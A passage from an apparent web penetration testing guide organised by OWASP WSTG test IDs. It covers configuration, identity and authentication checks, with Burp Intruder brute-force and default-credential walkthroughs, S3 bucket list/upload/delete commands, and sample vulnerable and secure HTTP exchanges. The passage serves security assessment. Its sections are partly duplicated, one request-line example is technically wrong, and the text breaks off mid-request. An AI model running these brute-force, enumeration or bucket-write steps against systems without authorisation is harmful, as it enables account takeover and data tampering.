3. **Check for Anonymous Access:** We attempt to log in to services like FTP with the username `anonymous` and a blank password.
4. **Verify Public Exploits:** If a specific vulnerable version is found, we search for a corresponding exploit module in a framework like Metasploit to confirm exploitability.

Unsuccessful Response (Vulnerable Application):

The `nmap` vulnerability scan identifies a critical, exploitable flaw, or `hydra` successfully finds default credentials.

```
# nmap --script ftp-anon,ssh-auth-methods -p 21,22 target.com
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  <-- Critical finding
```

```
|_r--r--r-- 1 ftp      ftp      1024 Oct 15 10:00 config.bak.zip
22/tcp open  ssh
| ssh-auth-methods:
|   Supported authentication methods:
|     publickey
|_    password                                     <-- Password auth
enabled
```

Successful Response (Secure Application):

The vulnerability scan finds no critical issues. All services require strong authentication (like key-based SSH), and anonymous or default credential access is disabled.

Activity 2.7: Test Application Platform Configuration

Main Heading: WSTG-CONF-02 - Test Application Platform Configuration

Objective: Our goal is to identify known vulnerabilities in the specific version of the application platform or framework that the custom application is built upon.

Core Concept Explained:

Even if the custom code is secure, the underlying platform (e.g., Apache Tomcat, JBoss, Django, Ruby on Rails) may have its own vulnerabilities. An attacker can exploit a flaw in the platform to bypass the application's security controls entirely.

Impact:

- **Critical Risk:** A single known vulnerability in the underlying platform, such as a deserialization flaw in JBoss or a file upload bypass in an older version of Tomcat, can lead to a full server compromise and Remote Code Execution (RCE).

Tooling:

- Public vulnerability databases (CVE, Exploit-DB)
- Burp Suite

Methodology:

1. **Identify the Platform:** Using the information from our fingerprinting phase, we identify the exact platform and version (e.g., `Apache Struts 2.3.34`).
2. **Research Public Vulnerabilities:** We search public databases like the CVE database and Exploit-DB for any known vulnerabilities affecting that specific version.
3. **Test for Common Misconfigurations:** We test for common configuration errors specific to that platform. For example, in Apache Tomcat, we check if the default `manager` application is exposed with weak credentials.

4. **Attempt Exploitation:** If a credible public exploit is found, we attempt to use it to confirm the vulnerability.

Unsuccessful Response (Vulnerable Application):

Our research reveals a known RCE vulnerability for the identified platform version. We then use a known proof-of-concept exploit to confirm that the server is vulnerable, for example, by getting it to execute a DNS callback to our Burp Collaborator.

Successful Response (Secure Application):

The application is running a modern, fully patched version of the platform with no known public vulnerabilities. Default administrative interfaces have been disabled or secured.

Activity 2.8: Test File Extensions Handling

Main Heading: WSTG-CONF-03 - Test File Extensions Handling

Objective: Our objective is to determine if the server exposes sensitive files by misinterpreting file extensions, such as treating a backup file like `web.config.bak` as a plain text file instead of a protected configuration file.

Core Concept Explained:

Web servers are configured to handle certain file extensions in a special way. For example, `.php` files are executed by the PHP interpreter, and `.config` files are often protected from being served. However, if a developer creates a backup copy (`config.php.bak`), the server may no longer recognize it as a special file and will instead serve its raw source code when requested.

Impact:

- **High Risk:** This vulnerability can lead to the disclosure of sensitive information, including application source code, configuration details, and credentials like database connection strings, which an attacker can then use to mount further attacks.

Tooling:

- Browser Developer Tools and a web proxy
- A wordlist of common backup extensions (`.bak`, `.old`, `.orig`, `~`)

Methodology:

1. **Identify Key Files:** During our reconnaissance, we identify the names of key application files (e.g., `index.php`, `web.config`, `main.js`).
2. **Fuzz for Backup Extensions:** We use Burp Intruder or a command-line tool to append common backup extensions to these known filenames and request them.
3. **Analyze Responses:** We look for `200 OK` responses, which indicate that the backup file exists and is accessible.

Unsuccessful Response (Vulnerable Application):

A request for a backup file is successful, and the server returns the raw source code of the file, including sensitive credentials.

```
GET /includes/db_connect.php.bak HTTP/1.1
Host: vulnerable-site.com

HTTP/1.1 200 OK
Content-Type: text/plain

<?php
    $db_host = "localhost";
    $db_user = "webapp_user";
    $db_pass = "s3cr3t_p@ssw0rd!"; // <-- Critical finding
    $db_name = "production_db";
    ...
?>
```

Successful Response (Secure Application):

All requests for files with backup extensions correctly result in a `404 Not Found` error, indicating that no sensitive backup files are exposed.

Activity 2.9: RIA Cross-Domain Policy Files

This is important for applications that might still use older Rich Internet Application (RIA) technologies.

Activity: Test for Permissive RIA Policies

Main Heading: `WSTG-CONF-08 - Test RIA Cross Domain Policy`

Objective: To check for overly permissive policy files (`crossdomain.xml` for Adobe Flash and `clientaccesspolicy.xml` for Silverlight). These files dictate whether a rich media component from another domain is allowed to interact with the application.

Methodology:

This is a simple check. Use your browser to navigate directly to these files at the root of the target domain.

- `https://example.com/crossdomain.xml`
- `https://example.com/clientaccesspolicy.xml`

Unsuccessful Response (Vulnerable Configuration):

The file exists and contains a wildcard entry, which allows a Flash or Silverlight component from **any domain** to make requests to the target site and read the responses.

```
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>
```

Successful Response (Secure Configuration):

The files do not exist (best case, as the technologies are deprecated), or they contain a strict whitelist of trusted domains.

Activity 2.10: Infrastructure File Permissions

This is a fundamental infrastructure check that is often overlooked in pure web application tests.

Activity: Test File and Directory Permissions

Main Heading: WSTG-CONF-09 - Test File Permission

Objective: To verify that sensitive files and directories on the web server are not world-readable, writable, or executable by unauthorized users. This test often requires access gained from another vulnerability (like Path Traversal or Command Injection) to be effective.

Methodology:

Assuming you have gained the ability to execute a command (e.g., via a web shell or Command Injection), you can check the permissions.

1. **List Files with Permissions:** Use the `ls -la` command in sensitive directories.

- `ls -la /var/www/html/`
- `ls -la /var/www/html/includes/`

2. **Analyze the Output:** Look for incorrect permission settings.

- **World-Writable Files** (`-rw-rw-rw-`): This is extremely dangerous. It means *any user* on the server can modify this file. An attacker could overwrite a configuration file or inject a backdoor into a source code file.
- **World-Writable Directories** (`drwxrwxrwx`): An attacker could upload files (like a web shell) into this directory.
- **Sensitive Readable Files:** Configuration files containing database passwords (e.g., `wp-config.php`, `web.config`) should not be readable by the `other` user group.

Unsuccessful Response (Vulnerable Configuration):

You discover that a critical file like `database.inc.php` has `777` permissions, allowing you to modify it and inject malicious code.

Successful Response (Secure Configuration):

The application follows the principle of least privilege. Files are owned by a specific user (e.g., `root`), belong to the web server's group (e.g., `www-data`), and have restrictive permissions (e.g., `640`, meaning only the owner can read/write and only the group can read). No files are world-writable.

Activity 2.11: Test File and Directory Permissions

Main Heading: `WSTG-CONF-09 - Test File Permission`

Objective: To verify that sensitive files and directories on the web server are not world-readable, writable, or executable by unauthorized users. This test often requires access gained from another vulnerability (like Path Traversal or Command Injection) to be effective.

Methodology:

Assuming you have gained the ability to execute a command (e.g., via a web shell or Command Injection), you can check the permissions.

1. **List Files with Permissions:** Use the `ls -la` command in sensitive directories.
 - `ls -la /var/www/html/`
 - `ls -la /var/www/html/includes/`
2. **Analyze the Output:** Look for incorrect permission settings.
 - **World-Writable Files (`-rw-rw-rw-`):** This is extremely dangerous. It means *any user* on the server can modify this file. An attacker could overwrite a configuration file or inject a backdoor into a source code file.
 - **World-Writable Directories (`drwxrwxrwx`):** An attacker could upload files (like a web shell) into this directory.
 - **Sensitive Readable Files:** Configuration files containing database passwords (e.g., `wp-config.php`, `web.config`) should not be readable by the `other` user group.

Unsuccessful Response (Vulnerable Configuration):

You discover that a critical file like `database.inc.php` has `777` permissions, allowing you to modify it and inject malicious code.

Successful Response (Secure Configuration):

The application follows the principle of least privilege. Files are owned by a specific user (e.g., `root`), belong to the web server's group (e.g., `www-data`), and have restrictive permissions (e.g., `640`, meaning only the owner can read/write and only the group can read). No files are world-writable.

Activity 2.12: Cloud Storage Misconfiguration

This is a critical, modern vulnerability vector that deserves its own section.

Activity: Test for Insecure Cloud Storage

Main Heading: WSTG-CONF-11 - Test Cloud Storage

Objective: To discover and access misconfigured cloud storage resources, such as publicly accessible Amazon S3 buckets, Azure Blobs, or Google Cloud Storage buckets. These are a primary source of major data breaches.

Impact:

- **Critical Risk:** 🗄️ A single misconfigured bucket can expose terabytes of sensitive data, including customer information, application source code, internal documents, and access credentials.

Methodology:

1. **Enumerate Storage Names:** The first step is to find the names of the storage buckets.
 - **Analyze Traffic:** Look for requests to domains like `s3.amazonaws.com` in your Burp history.
 - **Check Client-Side Code:** Scan JavaScript files for hardcoded bucket names.
 - **Brute-Force:** Use tools like `s3scanner` or `lazys3` with wordlists based on the company's name and related terms (e.g., `company-backup`, `company-assets`, `company-dev`).
2. **Test Permissions:** Once you have a list of potential bucket names, use a tool like the AWS Command Line Interface (CLI) or `s3scanner` to test for public access permissions.
 - **List Objects:** `aws s3 ls s3://target-bucket-name --no-sign-request`
 - **Write/Upload:** `aws s3 cp test.txt s3://target-bucket-name --no-sign-request`
 - **Delete:** `aws s3 rm s3://target-bucket-name/some-file.txt --no-sign-request`

Unsuccessful Response (Vulnerable Configuration):

The command successfully lists the contents of the bucket, or worse, allows you to write a file to it. The response will be a list of filenames or a successful upload confirmation. This means the bucket is publicly accessible.

Successful Response (Secure Configuration):

All commands fail with an `Access Denied` error, proving that the bucket correctly requires authentication and authorization.

Phase 3

Activity 3.1: Test for Weak or Unenforced Username Policy

Main Heading: WSTG-IDNT-05 - Test for Weak or Unenforced Username Policy

Objective: Our objective is to test the application's user registration and login functions for vulnerabilities related to username handling, such as allowing guessable usernames or failing to properly canonicalize them.

Core Concept Explained:

Username are the first half of a user's credentials and should be treated as sensitive. A weak policy might allow users to register with easily guessable usernames like `admin` or `root`. Another common flaw is a failure to canonicalize usernames, where `testuser` and `TestUser` are treated as different accounts, which can lead to confusion and potential bypasses.

Impact:

- **Medium Risk:** Allowing guessable administrative usernames makes targeted brute-force attacks much easier. Inconsistent handling of usernames can lead to logical flaws where an attacker could, for example, register an account that looks identical to a victim's account to facilitate phishing attacks.

Tooling:

- Browser Developer Tools and a web proxy

Methodology:

1. **Test for Guessable Usernames:** We attempt to register accounts with privileged or common usernames like `admin`, `administrator`, `root`, `support`, and `test`.
2. **Test for Canonicalization:** We test how the application handles variations in a username.
 - **Case Sensitivity:** We register an account `testuser`. Then, we try to log in as `TestUser` or register a new account as `TESTUSER`.
 - **Whitespace:** We try to register or log in with usernames that have leading or trailing spaces, like `testuser`.
 - **Email Aliases:** If emails are used as usernames, we test if `testuser@gmail.com` and `test.user@gmail.com` are treated as the same account.

Unsuccessful Response (Vulnerable Application):

The application allows us to register an account with the username `admin`, confirming a weak policy. Additionally, it treats `testuser` and `TestUser` as two separate, distinct accounts, which could lead to logical flaws or user confusion.

Successful Response (Secure Application):

The application has a blocklist that prevents the registration of privileged usernames. It also correctly canonicalizes usernames by, for example, converting them all to lowercase before processing, ensuring that `testuser` and `TestUser` are treated as the same unique account.

Activity 3.2: Test Account Provisioning Process

Main Heading: WSTG-IDNT-03 - Test Account Provisioning Process

Objective: Our goal is to audit the entire lifecycle of a user account, with a focus on the de-provisioning process, to ensure that terminated accounts are fully and correctly invalidated.

Core Concept Explained:

This is a logical test of the application's administrative processes. When an employee leaves a company or a user cancels their account, their access must be revoked immediately and completely. A flaw occurs if the "de-provisioning" process only disables the user in a front-end UI but leaves their account, session, or API keys active in the back-end.

Impact:

- **High Risk:** Lingering "ghost" accounts are a significant security risk. If an attacker compromises a de-provisioned account that still retains its old privileges, they can gain unauthorized access long after the account was supposed to be disabled.

Tooling:

- Browser Developer Tools and a web proxy

Methodology:

1. **Identify an Active Account:** We obtain a test account for the application.
2. **Obtain Session and API Keys:** As the active user, we log in and copy the session cookie. If applicable, we also generate and copy any API keys associated with the account.
3. **De-provision the Account:** We use an administrative function (or request that the client do so) to disable or "delete" the test account.
4. **Test for Lingering Access:** After the account has been de-provisioned, we use Burp Repeater to replay a request to an authenticated endpoint, using the session cookie we copied in Step 2. We also try to use the old API key to access a protected resource.

Unsuccessful Response (Vulnerable Application):

The request made with the old session cookie is successful, and the server returns a `200 OK` with the protected data. This proves that the session was not invalidated when the user was deleted, and the "ghost" account is still usable.

Successful Response (Secure Application):

The request made with the old session cookie is correctly rejected, and the server responds with a `401 Unauthorized` error or redirects to the login page. All associated sessions and tokens were properly invalidated during de-provisioning.

Activity 3.3: Test for Account Enumeration and Guessable Usernames

Sub-heading: WSTG-IDNT-04 - Testing for Account Enumeration and Guessable User Account

Objective: To determine if the application reveals whether a given username or email address is valid. Attackers use this weakness to build a list of valid users, which they can then target with password attacks (brute-force, password spraying).

Pre-conditions:

- You have identified the application's login and "forgot password" pages.
- You have a list of potential usernames to test (e.g., `admin`, `root`, `test`), and usernames based on formats discovered in Phase 1 like `john.doe`, `jdoe`).

Impact:

- **Medium Risk:** Account enumeration significantly lowers the bar for an attacker. Instead of having to guess both a username and a password, they only need to focus on guessing the password for a known-valid account, increasing the likelihood of a successful breach.

Method 1: Analyzing Responses on the Login Page

This is the most common place to check for enumeration. The key is to look for differences in the server's response to a valid username versus an invalid one.

1. Navigate to the login page.
2. Attempt to log in with a **non-existent username** (e.g., `invaliduser12345`) and any password. Observe the error message.
3. Attempt to log in with a **known-valid or likely-valid username** (e.g., `admin`) and an incorrect password. Observe the error message.
4. **Compare the responses.** Are they different? Even subtle changes in wording, response length, or status codes can indicate a vulnerability.

Method 2: Analyzing Responses on the "Forgot Password" Page

Password reset forms are often more verbose and a common source of this vulnerability.

1. Navigate to the "Forgot Password" or "Account Recovery" page.
2. Enter a **non-existent username or email address** and submit the form. Note the response.
3. Enter a **known-valid username or email address** and submit the form. Note the response.
4. **Compare the messages.** A vulnerable application will explicitly confirm whether the account exists or not.

Unsuccessful Response (Vulnerable Application):

The application provides different error messages, allowing an attacker to distinguish between valid and invalid accounts.

- **Attempt on Login Page with *invalid* user:**

HTTP

```
HTTP/1.1 200 OK
Content-Type: application/json

{"status":"error", "message":"User does not exist."}
```

- **Attempt on Login Page with *valid* user (but wrong password):**

HTTP

```
HTTP/1.1 200 OK
Content-Type: application/json

{"status":"error", "message":"The password you entered is incorrect."}
```

The different `message` confirms that the second user exists.

Successful Response (Secure Application):

The application gives a generic message for all attempts, making it impossible to know if the user exists.

- **Attempt with *invalid* user AND *valid* user (wrong password):**

HTTP

```
HTTP/1.1 200 OK
Content-Type: application/json

{"status":"error", "message":"Invalid username or password."}
```

- On the password reset page, a secure response would be:
"If an account with that email exists, a password reset link has been sent." This is the same message for both valid and invalid emails.

Method 3: Automated Testing with Burp Intruder

This automates the process of checking a large list of potential usernames.

1. Capture a login attempt in Burp Suite and send the request to **Intruder**.
2. In the **Intruder -> Positions** tab, clear the default payload markers and add them only around the username parameter's value.
3. In the **Payloads** tab, load your wordlist of potential usernames.
4. Start the attack.

5. Analyze the results by sorting the response table by "**Length**" or "**Status**". A difference in length for certain usernames often indicates that the account is valid. You can also configure Intruder to grep for specific error messages like "password incorrect".

This is a fundamental test for any application with authentication. Once we've assessed this, we can move on to testing the user registration process itself.

Activity 3.4: Test the User Registration Process

Sub-heading: WSTG-IDNT-02 - Test User Registration Process

Objective: To ensure the registration process is robust and cannot be bypassed or manipulated. We will test for weak password policies, validation flaws, and the ability to create malicious or spoofed accounts.

Pre-conditions:

- Access to the application's user registration page.
- A web proxy like Burp Suite to intercept and modify requests.

Impact:

- **High Risk:** A weak registration process can lead to account takeovers (if email verification is bypassed), widespread account compromise (if weak passwords are allowed), and denial of service (if an attacker can register unlimited accounts).
- **Medium Risk:** Allowing username spoofing or inconsistent data validation can enable phishing and social engineering attacks against other users.

Method 1: Test Password Policy Enforcement (Client-Side vs. Server-Side)

The most common mistake is enforcing a password policy only in the browser (using JavaScript) but not on the server.

1. **Identify the Policy:** Go to the registration form and observe the stated password requirements (e.g., "Must be 8 characters, include a number and a symbol").
2. **Attempt a Weak Password:** Try to register with a non-compliant password like `password` or `123456`. The client-side JavaScript should block this.
3. **Bypass Client-Side Controls:**
 - Turn on your proxy (Burp Suite) and intercept the registration request.
 - First, enter a **strong, compliant password** in the browser (e.g., `P@ssw0rd123!`) to satisfy the JavaScript validation.
 - Submit the form and **intercept the request** in Burp Suite.
 - In the request body, **change the password** back to a weak one (e.g., `password=123`).

- Forward the modified request to the server and observe the response.

Unsuccessful Response (Vulnerable Application):

The server accepts the weak password because it only relied on the client-side check. You receive a 200 OK or a 302 Redirect to the login page, indicating the account was successfully created.

HTTP

```
POST /register HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=testuser&email=test@example.com&password=123
```

Server Response:

HTTP

```
HTTP/1.1 302 Found
Location: /login?registration_success=true
```

Successful Response (Secure Application):

The server re-validates the password and rejects the request, returning an error.

HTTP

```
HTTP/1.1 400 Bad Request
Content-Type: application/json

{"status": "error", "message": "Password does not meet complexity requirements."}
```

Method 2: Test for Email Verification Bypass

A secure application must confirm that a user controls the email address they sign up with.

1. Register an account using a valid email address you control.
2. Before clicking the verification link sent to your email, **try to log in** with the new credentials.
3. If a verification token is sent in the URL (e.g., `https://example.com/verify?token=ABC123`), analyze its complexity. Is it guessable? Is it tied to your user ID?
4. Try to register an account with a non-existent email address (e.g., `thisisnotreal@invalidomain.xyz`). Does the application allow the registration to complete?

Unsuccessful Response (Vulnerable Application):

The application logs you into the new account immediately, without requiring you to click the verification link. This means anyone could create an account using any email address, potentially locking out the real owner or using their identity.

Successful Response (Secure Application):

The application prevents login and shows a clear error message.

HTTP

```
HTTP/1.1 200 OK
```

```
Content-Type: application/json
```

```
{"status": "error", "message": "Account not verified. Please check your email for a verification link."}
```

We've now tested two major components of identity management. The next critical area is the authentication mechanism itself—the login process.

Activity 3.5: Test Role and Privilege Definitions

Main Heading: WSTG-IDNT-01 - Test Role Definitions

Objective: To analyze the application's access control matrix to identify logical flaws in how roles and permissions are designed. The goal is to find combinations of non-critical permissions that, when combined, lead to an unintentional privilege escalation.

Core Concept Explained:

This is not a technical injection flaw; it's a security design review. For example, an application might have a "Content Editor" role that can create new articles and a separate "Publisher" role that can make any article public. Neither role is an administrator. However, if a single user can be assigned **both** roles, they can effectively write and publish any content (e.g., a malicious JavaScript payload on the homepage) without any oversight, which is a critical risk.

Impact:

- **High Risk:** 🧑‍🔧 Flaws in role definitions can create hidden pathways to administrative control, allowing lower-privileged users to perform highly sensitive actions by accumulating permissions in unintended ways.

Methodology:

This is primarily a manual, logic-based process.

1. **Enumerate All Roles and Permissions:** Work with the application developers or use the application to list every available role (e.g., User, Editor, Manager, Publisher, Auditor) and the

specific permissions granted to each.

2. **Create a Permission Matrix:** Create a spreadsheet listing roles as rows and permissions as columns. This provides a clear overview of who can do what.
3. **Analyze for Toxic Combinations:** Scrutinize the matrix for dangerous combinations. Ask critical questions:
 - "What happens if a user is both a `UserManager` and a `PasswordResetter`? Can they create a new admin and then reset that admin's password to take over the account?"
 - "Can a `ProductManager` (who can set prices) also be a `DiscountManager` (who can apply coupons)? Can they combine these roles to make a product free?"
4. **Test the Hypotheses:** If you identify a potentially dangerous combination, request or create a test user that has both roles assigned and attempt to execute the attack chain.

Unsuccessful Response (Vulnerable Design):

You successfully perform a sensitive, admin-level action by combining the permissions of two or more lower-level roles. This proves a fundamental flaw in the application's security design.

Successful Response (Secure Design):

The application employs a robust security model, such as a principle of "separation of duties," where mutually exclusive permissions (like creating users and resetting passwords) cannot be assigned to the same user. All attempts to chain permissions fail.

Activity 3.6: Test Role and Privilege Definitions

Main Heading: `WSTG-IDNT-01 - Test Role Definitions`

Objective: To analyze the application's access control matrix to identify logical flaws in how roles and permissions are designed. The goal is to find combinations of non-critical permissions that, when combined, lead to an unintentional privilege escalation.

Core Concept Explained:

This is not a technical injection flaw; it's a security design review. For example, an application might have a "Content Editor" role that can create new articles and a separate "Publisher" role that can make any article public. Neither role is an administrator. However, if a single user can be assigned *both* roles, they can effectively write and publish any content (e.g., a malicious JavaScript payload on the homepage) without any oversight, which is a critical risk.

Impact:

- **High Risk:** 🧑‍💻 Flaws in role definitions can create hidden pathways to administrative control, allowing lower-privileged users to perform highly sensitive actions by accumulating permissions in unintended ways.

Methodology:

This is primarily a manual, logic-based process.

1. **Enumerate All Roles and Permissions:** Work with the application developers or use the application to list every available role (e.g., User, Editor, Manager, Publisher, Auditor) and the specific permissions granted to each.
2. **Create a Permission Matrix:** Create a spreadsheet listing roles as rows and permissions as columns. This provides a clear overview of who can do what.
3. **Analyze for Toxic Combinations:** Scrutinize the matrix for dangerous combinations. Ask critical questions:
 - "What happens if a user is both a `UserManager` and a `PasswordResetter`? Can they create a new admin and then reset that admin's password to take over the account?"
 - "Can a `ProductManager` (who can set prices) also be a `DiscountManager` (who can apply coupons)? Can they combine these roles to make a product free?"
4. **Test the Hypotheses:** If you identify a potentially dangerous combination, request or create a test user that has both roles assigned and attempt to execute the attack chain.

Unsuccessful Response (Vulnerable Design):

You successfully perform a sensitive, admin-level action by combining the permissions of two or more lower-level roles. This proves a fundamental flaw in the application's security design.

Successful Response (Secure Design):

The application employs a robust security model, such as a principle of "separation of duties," where mutually exclusive permissions (like creating users and resetting passwords) cannot be assigned to the same user. All attempts to chain permissions fail.

Phase 4: Authentication Testing

Main Heading: `WSTG-ATHN - Authentication Testing`

Objective: To validate that the authentication process is secure and cannot be bypassed or subverted. We will test for weaknesses in the login mechanism, credential handling, and password policies that could allow an attacker to gain unauthorized access to user accounts.

Activity 4.1: Test for Weak Password Policy

Main Heading: `WSTG-ATHN-07 - Test for Weak Password Policy`

Objective: Our goal is to verify that the application enforces a strong password policy for all user accounts, both at registration and during password changes.

Core Concept Explained:

A weak password policy allows users to choose easily guessable or short passwords (e.g., `password`, `123456`, `qwerty`), which makes them highly susceptible to brute-force or dictionary attacks. A strong policy must enforce minimum length, complexity (requiring a mix of character types), and prevent the use of common or breached passwords. Crucially, this policy must be enforced on the server-side, not just in the client-side JavaScript.

Impact:

- **High Risk:** A weak password policy is a direct invitation for account compromise. If a large number of users have weak passwords, an attacker can use password spraying or brute-force attacks to easily gain access to multiple accounts.

Tooling:

- Browser Developer Tools and a web proxy

Methodology:

1. **Identify the Stated Policy:** We observe the password requirements stated on the registration page (e.g., "Must be 8 characters, include a number and a symbol").
2. **Test for Lack of Complexity:** We attempt to register with common, simple passwords that violate the policy, such as `password`, `12345678`, and `aaaaaaaa`.
3. **Test for Lack of Length:** We try to register with a very short password, like `a1!`.
4. **Bypass Client-Side Enforcement:** This is the most critical test. We first enter a strong, compliant password in the browser to satisfy the JavaScript. We then intercept the request in Burp Suite and change the password parameter back to a weak one (e.g., `password=123`) before forwarding it to the server.

Unsuccessful Response (Vulnerable Application):

The server accepts the weak password `123` that we injected via Burp Suite. The response is a `200 OK` or a `302 Redirect` to the login page, indicating the account was successfully created with a weak password because the policy was only enforced on the client-side.

Successful Response (Secure Application):

The server correctly re-validates the password and rejects our modified request, returning a `400 Bad Request` error with a clear message.

```
{
  "status": "error",
  "message": "Password does not meet complexity requirements."
}
```

Activity 4.2: Test for Weak Lockout Mechanism (Brute-Force Attack)

Sub-heading: WSTG-ATHN-03 - Testing for Weak Lock Out Mechanism

Objective: To determine if the application implements a strong account lockout policy. Without one, an attacker can make an unlimited number of password guesses against a valid username, making a brute-force attack trivial.

Pre-conditions:

- A valid username discovered during Phase 3 (Identity Management Testing).
- The URL of the login page.
- A password wordlist (e.g., a small subset from SecLists' `rockyou.txt` for testing).
- A web proxy like Burp Suite.

Impact:

- **High Risk:** A missing or weak lockout mechanism allows an attacker to automate password guessing indefinitely. Given enough time, they can eventually discover a user's password, leading to a full account compromise.

Method: Automated Brute-Force with Burp Suite Intruder

This is the standard industry practice for testing login forms.

1. Capture the Login Request:

- Configure your browser to use Burp Suite as a proxy.
- On the login page, enter the **valid username** and any incorrect password (e.g., `test1234`).
- Click "Login" and intercept the request in Burp Suite's "Proxy" -> "HTTP history" tab.
- Right-click the request and select "**Send to Intruder**".

2. Configure Intruder Positions:

- Go to the "**Intruder**" -> "**Positions**" tab.
- Click the "**Clear §**" button to remove the default payload markers.
- Highlight only the value of the password parameter and click the "Add §" button. The request should look something like this:
`username=validuser&password=§test1234§`

3. Load the Password Payload:

- Go to the "**Payloads**" tab.
- Under "Payload Sets", keep the Payload type as "**Simple list**".
- Under "Payload Options", click "**Load**" and select your password wordlist.

4. Configure Grep Match for Success:

- Go to the **"Options"** tab.
- Scroll down to "Grep - Match". Click **"Clear"** to remove default rules.
- Click **"Add"** and enter a string that would *only* appear after a **successful login**. This is far more reliable than looking for error messages. Good examples include:
 - `Welcome,`
 - `Logout`
 - `HTTP/1.1 302 Found` (if the login redirects)
 - `Set-Cookie: sessionID=`

5. Start the Attack and Analyze:

- Click the **"Start attack"** button.
- A new window will open, showing each password attempt.
- Watch the **"Status"**, **"Length"**, and your custom grep columns. A successful login will stand out with a different status code (e.g., 302 instead of 200) or a different response length.

Unsuccessful Response (Vulnerable Application):

The application never locks the account. The Intruder attack runs through the entire wordlist, and you see a consistent "failed" response (e.g., Status 200) for every attempt until one suddenly succeeds (Status 302) or the list ends.

Successful Response (Secure Application):

After a small number of attempts (e.g., 5-10), the server's response changes, indicating a logout.

- The **Status** code might change to `429 Too Many Requests` or `403 Forbidden`.
- The **response body** will change to an error message like:

JSON

```
{"status": "error", "message": "Account has been temporarily locked due to too many failed login attempts. Please try again in 15 minutes."}
```

When you see this, you can stop the attack, as you have successfully verified a protective control is in place.

We've now confirmed whether the application is resilient to basic brute-force attacks. The next step is to check for another common authentication flaw: the use of default credentials.

Activity 4.3: Test for Default Credentials

Sub-heading: `WSTG-ATHN-02 - Testing for Default Credentials`

Objective: To identify if any accounts (especially administrative ones) are accessible using default or easily guessable credentials. This includes credentials left over from the installation of a framework (e.g., a CMS), a device (e.g., a router), or hard-coded by developers for debugging purposes.

Pre-conditions:

- A list of all login portals discovered in Phase 1 (including application, infrastructure, and admin interfaces).
- A good wordlist of common default credentials. The **SecLists** repository is an excellent source ([SecLists/Passwords/Default-Credentials/](https://github.com/danielmiessler/SecLists)).

Impact:

- **Critical Risk:** 🔴 Finding default credentials is one of the most severe vulnerabilities. It often grants immediate administrative access to the application or its underlying infrastructure, bypassing all other security controls.

Method 1: Manual Testing

This is the quickest way to check for the most common defaults. Try these combinations on all identified login pages:

- `admin` / `admin`
- `administrator` / `password`
- `root` / `root`
- `admin` / `password`
- `test` / `test`
- `guest` / `guest`

Method 2: Automated Testing with Burp Intruder (Cluster Bomb)

When you have a large list of common usernames and passwords, this method is much more efficient.

1. **Capture the Login Request:** Send a login request to Burp Intruder, just as you did in the brute-force test.
2. **Configure Intruder Positions:**
 - Go to the "Intruder" -> "Positions" tab.
 - Set the **Attack type** to "Cluster Bomb". This type is specifically designed for testing multiple parameter combinations.
 - Highlight the value of the `username` parameter and click "Add §".
 - Highlight the value of the `password` parameter and click "Add §". You will now have two separate payload markers.
3. **Configure Payloads:**

- Go to the **"Payloads"** tab. You will see two payload sets.
- **Payload set 1:**
 - Select **1** from the "Payload set" dropdown.
 - Load your list of common usernames (e.g., `admin`, `administrator`, `root`, `user`).
- **Payload set 2:**
 - Select **2** from the "Payload set" dropdown.
 - Load your list of common passwords (e.g., `admin`, `password`, `123456`, `root`).
- Intruder will now test every username in list 1 against every password in list 2.

4. Start the Attack and Analyze:

- Start the attack.
- Sort the results by **"Length"** or **"Status"**. A successful login will almost always have a different response length or status code than the failures.

Unsuccessful Response (Vulnerable Application):

The application grants access. The server's response will typically be an HTTP 302 Found to redirect you to a dashboard or a 200 OK with a "Welcome" message.

HTTP

```
POST /admin/login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin
```

Server Response (Successful Login):

HTTP

```
HTTP/1.1 302 Found
Location: /admin/dashboard.php
Set-Cookie: sessionID=aBcDeFgHiJkLmNoPqRsTuVwXyZ; path=/; HttpOnly
```

The `Set-Cookie` header and the redirect to `/admin/dashboard.php` are clear indicators of a successful login.

Successful Response (Secure Application):

The application rejects all default credential combinations. All attempts in your Intruder attack result in the same generic failure response (e.g., status 200 OK with an "Invalid credentials" message), with no outliers.

We have now tested for two of the most critical authentication vulnerabilities. Next, we should examine how the application handles credentials in transit.

Activity 4.4: Test for Credentials Transported over an Encrypted Channel

Sub-heading: WSTG-ATHN-01 - Testing for Credentials Transported over an Encrypted Channel

Objective: To verify that all authentication credentials (usernames, passwords, session tokens) are sent exclusively over a secure, encrypted channel (HTTPS/TLS). Sending this data over unencrypted HTTP is a critical vulnerability.

Pre-conditions:

- The URL of the login page.
- A web proxy like Burp Suite or OWASP ZAP to inspect the traffic.

Impact:

- **Critical Risk:** 🚨 If credentials are sent over HTTP, any attacker on the same network (e.g., public Wi-Fi, a compromised corporate network) can easily intercept them in plaintext using a network sniffer like Wireshark. This leads to immediate account compromise.

Method: Intercepting the Login Request

This is the most definitive way to test for this vulnerability.

1. **Configure your proxy** (Burp Suite) and your browser to intercept traffic.
2. In your browser, navigate to the login page. **Crucially, check the URL bar.** Does it start with `http://` or `https://`?
3. Even if the page loads over `https://`, the form itself might be configured to submit to an `http://` endpoint. You can check this by viewing the page source (`Ctrl+U`) and finding the `<form>` tag. Look at the `action` attribute:
 - **Secure:** `<form action="https://example.com/login" method="post">`
 - **Insecure:** `<form action="http://example.com/login" method="post">`
4. Enter any username and password into the login form and click submit.
5. Observe the request in Burp Suite's **"Proxy" -> "HTTP history"** tab. The very first line of the request will tell you if it was encrypted.

Unsuccessful Response (Vulnerable Application):

The request is sent over HTTP. The credentials are fully exposed in the request body. A network attacker sees exactly this.

HTTP

```
POST /login HTTP/1.1
Host: insecure-example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

username=admin&password=MySecretP@ss!
```

The `POST /login HTTP/1.1` on the first line is the clear indicator of an unencrypted connection.

Successful Response (Secure Application):

The browser's address bar shows `https://`, and the login request in your proxy is sent to the `https` endpoint. While you can still see the credentials in Burp Suite (because it acts as a man-in-the-middle to decrypt the traffic for you), anyone else on the network would only see encrypted data.

The request in Burp will look similar, but it was captured from a secure TLS connection:

HTTP

```
POST /login HTTPS/2
Host: secure-example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

